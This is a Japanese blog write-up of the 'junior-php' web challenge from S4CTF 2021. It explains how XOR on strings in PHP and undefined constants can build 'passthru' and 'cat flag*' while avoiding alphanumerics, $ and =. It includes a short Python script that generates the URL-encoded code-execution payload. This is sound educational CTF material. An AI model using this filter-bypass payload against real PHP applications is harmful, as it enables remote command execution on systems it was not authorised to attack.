st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

S4CTF 2021 writeup

4/23 - 4/25という日程で開催された。zer0ptsで参加して2位。

[Web] junior-php

&| そして ^ 演算子の左右のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、左右のオペランドを integer に変換 し、結果も integer になります。

https://www.php.net/manual/ja/language.operators.bitwise.php

PHP 8.0.0 より前のバージョンでは、 未定義の定数は、ちょうどstringとして コールしたかのように(CONSTANT vs "CONSTANT")、 PHPはその定数自体の名前を使用したと解釈していました

https://www.php.net/manual/ja/language.constants.syntax.php

という仕様を使って [A-Za-z0-9] $ = の使用を回避しつつ passthrucat flag* というふたつの文字列を作る。可変関数という機能を使って passthru('cat flag*') が呼び出せる。

import urllib.parse

def encode(s):
  s = [c ^ 0xff for c in s]
  return bytes(s) + b'^' + b'\xff' * len(s)

print(urllib.parse.quote(
  b'(' + encode(b'passthru') + b')(' + encode(b'cat flag*') + b');'
))